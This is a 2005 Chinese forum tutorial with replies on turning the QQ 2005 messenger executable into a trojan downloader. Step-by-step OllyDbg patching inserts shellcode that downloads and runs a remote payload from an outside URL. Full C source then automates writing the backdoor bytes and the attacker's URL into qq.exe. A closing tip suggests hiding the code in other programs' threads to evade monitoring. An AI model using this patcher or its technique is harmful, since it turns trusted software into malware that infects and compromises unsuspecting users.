首页
社区
课程
招聘
把qq2005做成后门之编程实现(简单,高手勿入)
发表于: 2005-5-31 17:12 15653

把qq2005做成后门之编程实现(简单,高手勿入)

2005-5-31 17:12
15653

                把qq2005做成后门之编程实现(原创)
1。思路篇
平心而论,我不怎么喜欢那些全是操作的文章,从头到尾都是先这样,再那样。几乎学不到什么东西。
比如讲某个木马,怎么反弹端口,怎么隐蔽,就是不给出思路的。实在不利于我们菜鸟的学习。牢骚几句,
开始正题:
首先,我们来手工把qq2005做成后门(必要的过程),然后在具体分析,思路是怎么横空出世的。
因为编程实现不过是把手工的过程变成了自动的过程而已。这里又面临一个选择,是详细写出用ollydbg修改
qq的详细过程,还是一笔带过呢?考虑到《逆》一文中的这个过程被一笔带过了(肯定带来的不少我等菜鸟的痛苦),
所以我选择详细写出这个过程。这样才算手把手的教,是吧。由于我很讨厌抓图,所以一部分过程我就不抓图了。

用ollydbg打开qq.exe,这时候程序会停在入口点,F2下个断点,为什么呢?因为要么要修改qq的入口代码。
下断点后,很容易在找到这个位置,按ALT+B,双击断点,又回到入口了吧,是不是很方便。呵呵
拖动CPU窗口的滚动条,到qq.exe的尾部,找到一大片的全是 db 0 的地方,这个可以理解为PE的空隙。
我找到的地址是004D4D90,按着鼠标左键向下拖动,选中的部分是黄色的,按CTRL+E或者右键->二进制->
编辑, 输入要下载的后门的地址:"http://hackor.51.net/mm.exe"(不包括引号), 回车,看到一堆不知道是什么的汇编代码吧,没有关系,CTRL+A分析一下,好看多了吧,如图1。同样的方法在004D4DCD(距离004D4D90比较远,是为了留出足够的空间来存放比较长的URL)添加"d:\\ok.exe",如图2。继续添加如下汇编代码(为什么这样添加呢,随后给出):

004D4DEB       60              pushad
004D4DEC       6A 00           push 0
004D4DEE    .  6A 00           push 0
004D4DF0    .  68 CD4D4D00     push QQ.004D4DCD                    ;  ASCII "d:\\ok.exe"
004D4DF5    .  68 904D4D00     push QQ.004D4D90                    ;  ASCII "http://hackor.51.net/mm.exe"
004D4DFA    .  6A 00           push 0
004D4DFC    .  E8 CAEBBC75     call urlmon.URLDownloadToFileA
004D4E01    .  61              popad
004D4E02    .  60              pushad
004D4E03    .  6A 05           push 5                              ; /ShowState = SW_SHOW
004D4E05    .  68 CD4D4D00     push QQ.004D4DCD                    ; |CmdLine = "d:\\ok.exe"
004D4E0A    .  E8 26AF9777     call kernel32.WinExec               ; \WinExec
004D4E0F    .  61              popad
004D4E10    .  C3              retn
004D4E11       00              db 00
004D4E12       00              db 00
004D4E13    >  60              pushad
004D4E14    .  6A 00           push 0                              ; /arg = NULL
004D4E16    .  6A 00           push 0                              ; |stksize = 0
004D4E18    .  68 EB4D4D00     push QQ.004D4DEB                    ; |start = QQ.004D4DEB
004D4E1D    .  E8 65307377     call MSVCRT._beginthread            ; \_beginthread
004D4E22    .  61              popad

004D4E23    .  55              push ebp
004D4E24    .  8BEC            mov ebp,esp
004D4E26    .  6A FF           push -1
004D4E28    .^ E9 30FDF8FF     jmp QQ.00464B5D

按CTRL+A分析一下,看到了什么:
004D4DEB    .  60 6A 00        ascii "`j",0
004D4DEB居然变成了这个,呵呵,用ollydbg的小技巧,选中这行,右键->分析->在下一次分析期间,将选择视为命令。呵呵,ok了吧。编辑的时候还会出现其它的不好看的东西,那是ollydbg分析错误导致的,需要手动调整,视为命令,字符等等(具体情形请自行分析)。
现在来回答为什么这样添加的问题:004D4E18处压入的是004D4DEB(也就是URLDownloadToFileA的地址),这样当这个_beginthread启动的时候,会调用URLDownloadToFileA,去下载我们的mm.exe,紧接着执行WinExec函数,这样我们下载的mm.exe就被执行了,最后用retn返回。其中004D4E22到004D4E26是qq的入口代码,为了不影响qq的运行,我们还是要保存地。下面接着修改qq的入口代码,使之跳到004D4E13去执行我们的_beginthread。注意修改前请先保存,右键->复制到可执行文件,选择一个文件名就ok了。
修改后(如图3):
00464B58 Q> $ /E9 B6020700     jmp QQ.004D4E13
00464B5D    > |68 18104E00     push QQ.004E1018
修改完成后,右键复制到可执行文件,全部修正。
整个过程要注意堆栈平衡。上面的pushad和popad就是用来保持堆栈平衡的。

2。具体编程实现:
有了前面的过程,这个就简单了。用什么语言实现都一样,看你的个人爱好了。我用的c语言
我们 的程序就是修改qq,把正常的qq.exe修改成上面这样的。那么要修改那些地方呢?
有2个办法,用ollydbg同时开修改后的qq.exe和修改前的qq.exe,对比发现即可。但是不太方便。
还可以使用Hex Workshop,我用的就是这个,它可以比较2个文件,下载地址:http://www.pediy.com/tools/Editors/Hex%20workshop/Hex%20workshop%204.23.zip
安装完成后,打开Hex Workshop,CTRL+K,选择路径,如图4,ok
F6将自动定位到不同之处。
偏移为:
0x64b58
0xD4D90
0xd4dcd
0xd4deb

我们只需要编程修正以上地方的代码就可以了,还有一个问题是,我怎么知道要修正多少个字节呢?
用Hex Workshop计算一下就知道了啊(2个地址相减就ok了),修正字节数并不要求特别准确。不影响程序的运行就可以了。
整个程序如下(非常简单):
//winxp sp1 + qq2005

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[])
{
        FILE *fp;
        unsigned int i;
        int entryPoint[] = {233,182,2,7,0};        //入口要修正的字节
        char *pDownURL = NULL;                //指向下载URL的指针
        char *pPathAndFileName = NULL;         //指向文件路径和文件名的指针
        int backDoor[] =
        {
                        96,106,0,106,0,104,205,77,77,0,104,144,
                        77,77,0,106,0,232,202,235,188,117,
                        97,96,106,5,104,205,77,77,0,232,38,
                        175,151,119,97,195,0,0,96,106,0,106,
                        0,104,235,77,77,0,232,101,48,115,
                        119,97,85,139,236,106,255,233,48,
                        253,248,255,0
        };

            if(argc != 3)
            {
                printf("\n\t\t Make qq to be downloader\n");
                printf("\n\t\t\t\tngaut All rights reserved.\n\n");
                printf("Usage: %s <downloadURL> <pathAndFileName> \n", argv[0]);
                printf("%s and qq.exe should at the same directory\n", argv[0]);
                printf("The os should be winxp sp1 and The qq version should be 2005\n");
                printf("pathAndFileName should like:\n\t d:\\\\mm.exe not d:\\mm.exe\n");
                return 1;
            }
       
        pDownURL = argv[1];
        pPathAndFileName = argv[2];
       
        printf("\n\t\t Make qq to be downloader\n");
        printf("Cracking......\n");
       
        // 1. 打开文件qq.exe ,这个是正常的qq.exe
        if ((fp = fopen("QQ.exe", "r+"))==NULL)
        {                    
                printf("error!!!  Can not open qq.exe!!!\n\n");
                printf("Press any key to continue\n");
                getchar();
                exit(0);
        }
       
        //2. set entry point
        fseek(fp, 0x64b58, SEEK_SET);       
        for (i=0; i<5; i++)
        {
                fputc( (char)entryPoint[i], fp);
        }

       
       
        // 3. set downURL
        fseek(fp, 0x00D4D90, SEEK_SET);
       
        for (i=0; i<strlen(pDownURL); i++)
        {
                fputc(pDownURL[i], fp);
        }
        fputc(0, fp);                //这里写入0,因为必须要以0结尾,下同
       
       
       
        // 4. set pathAndFileName
        fseek(fp, 0xd4dcd, SEEK_SET);
       
        for (i=0; i<strlen(pPathAndFileName); i++)
        {
                fputc(pPathAndFileName[i], fp);
        }
        fputc(0, fp);
       
       
       
       
        // 5. set backDoor code
        fseek(fp, 0xd4deb, SEEK_SET);
       
        for (i=0; i<66; i++)
        {
                fputc( (char)backDoor[i], fp);
        }
       
       
        fclose(fp);
       
        printf("\nThanks for using, already cracked!!!\n");
        printf("\n\t\t\t\tngaut All rights reserved.\n\n");
       
        return 0;
}

上面的i用于控制要写入的字节数,并不需要非常精确,但是不要影响程序的执行。每次写入前
都要用fseek函数移动文件指针到指定位置。用ollydbg看看程序的反汇编代码,你会发现backDoor
就是我们后门关键部分对应的汇编代码,上面的程序有个小技巧,那就是如何得到
entryPoint和backDoor数组的内容。而且可以看到它们都是int,使用时才被转化为char
下面的代码用于得到entryPoint数组和backDoor数组的内容(个人方法很巧妙):
//winxp sp1 + qq2005

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char* argv[])
{
        FILE *fp;
        unsigned int i;
       
        // 1. 打开文件qq.exe, 注意这个qq是修改过的
        if ((fp = fopen("QQ.exe", "r+"))==NULL)
        {                    
                printf("error!!!  Can not open qq.exe!!!\n\n");
                printf("Press any key to continue\n");
                getchar();
                exit(0);
        }
       
       
        //get entryPoint code
        fseek(fp, 0x64b58, SEEK_SET);
        for (i=0; i<5; i++)
        {
                printf("%d,", fgetc(fp));
        }
        printf("\n\n");
       
        fseek(fp, 0xd4deb, SEEK_SET);
       
        for (i=0; i<67; i++)
        {
                printf("%d,", fgetc(fp));
        }
        printf("\n\n");
       
        fclose(fp);
       

        return 0;
}
运行结果如图5,真漂亮,呵呵。

编程介绍完了。怎么样,还算简单吧。
最后补充一点,我们创建线程还是逃不过某些软件的监视,那么我们该怎么解决呢。我们自己不创建就行了,
借用别人的啊,比如flashget多线程下载,再说了,现在太多的软件都创建线程,只要不我们的代码挂上别人的线程就可以了,winxp sp2 和 flashget1.65测试成功,未做更多的测试,应该是可以的。我想这个方法可以叫做借尸还魂吧,呵呵,具体修改过程以及对应的代码分析就不写了,手指都麻了,好了,下次见。

趁自己还年轻,多写点东西贡献给大家。也算是自己人生一大志愿。总体来说我写的东西都很简单,因为我就是一菜鸟,写不出什么高难度的东西来。   ^_^


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (22)
雪    币: 603
活跃值: (617)
能力值: ( LV12,RANK:660 )
在线值:
发帖
回帖
粉丝
2
支持一下,实际就是补丁的制作过程。
2005-5-31 17:23
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
ft~~~
URLDownloadToFileA
thanx a lot~~
2005-6-1 03:50
0
雪    币: 217
活跃值: (91)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
强烈支持一下
2005-6-1 07:35
0
雪    币: 162
活跃值: (63)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5

异常强烈再支持一下
2005-6-1 07:42
0
雪    币: 671
活跃值: (723)
能力值: ( LV9,RANK:1060 )
在线值:
发帖
回帖
粉丝
6
支持一下
2005-6-1 07:57
0
雪    币: 222
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
一  下
2005-6-1 08:16
0
雪    币: 214
活跃值: (70)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
高人啊。。。
2005-6-1 08:38
0
雪    币: 622
活跃值: (294)
能力值: ( LV13,RANK:410 )
在线值:
发帖
回帖
粉丝
9
或者在里面多找些间隙把整个木马UPX后植入算了。
2005-6-1 10:32
0
雪    币: 255
活跃值: (175)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
10
支持!!!
2005-6-1 17:30
0
雪    币: 214
活跃值: (15)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
强烈支持!不过楼主说的图1,图2....我怎么一个也看不到?
2005-6-1 21:02
0
雪    币: 267
活跃值: (235)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
12
其实图有没有无所谓,能看懂就可以了,不是么?呵呵
我想我写的还算比较详细吧
2005-6-2 23:33
0
雪    币: 216
活跃值: (370)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
13
直接call函数地址...
你这玩意在别人的机器上能运行起来?
2005-6-3 10:21
0
雪    币: 538
活跃值: (32)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
难道我RPWT??怎么就么见到所谓的图呢
2005-6-4 08:22
0
雪    币: 117
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
……

路过一下。
2005-6-4 15:16
0
雪    币: 267
活跃值: (235)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
16
最初由 goldenegg 发布
直接call函数地址...
你这玩意在别人的机器上能运行起来?


在相同的系统,相同的qq版本是可以的。其它的就不行了,老兄可有良策,还请指点一二
2005-6-4 18:44
0
雪    币: 232
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
高人啊。。。
2005-6-6 20:33
0
雪    币: 389
活跃值: (912)
能力值: ( LV9,RANK:770 )
在线值:
发帖
回帖
粉丝
18
good ok
2005-6-6 21:12
0
雪    币: 100
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
谢谢,好东西啊,我正在学习这方面的知识.
2005-6-7 10:44
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
支持!!!!!
2005-6-8 02:59
0
雪    币: 207
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
在入口地址跳一个  跳到URLDownloadToFileA载东西  载完跳回去好象更简单哦_-##
2005-6-8 04:28
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
楼主确实是高人啊
2005-6-8 23:38
0
雪    币: 201
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
比较容易懂,但还是不懂
2005-6-9 12:59
0
游客
登录 | 注册 方可回帖
返回
//